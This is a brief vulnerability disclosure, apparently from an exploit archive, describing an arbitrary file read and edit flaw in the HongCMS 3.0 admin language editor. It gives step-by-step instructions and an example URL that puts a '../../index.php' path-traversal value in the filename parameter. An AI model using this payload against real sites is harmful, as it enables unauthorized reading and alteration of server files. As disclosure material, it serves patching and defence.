HongCMS 3.0 - Arbitrary Files Read and Edit (Administrator Privilege)

[r00tSe7en]

1.Login to the backstage as the administrator;

2.You need to access the page" http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=Chinese.php" or "http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=English.php".

3.Change the file name you want to edit or read in the URL and access this page.
For example: "http://127.0.0.1/hongcms/admin/index.php/language/edit?filename=../../index.php".

4.You can see that index.php has been read and edited.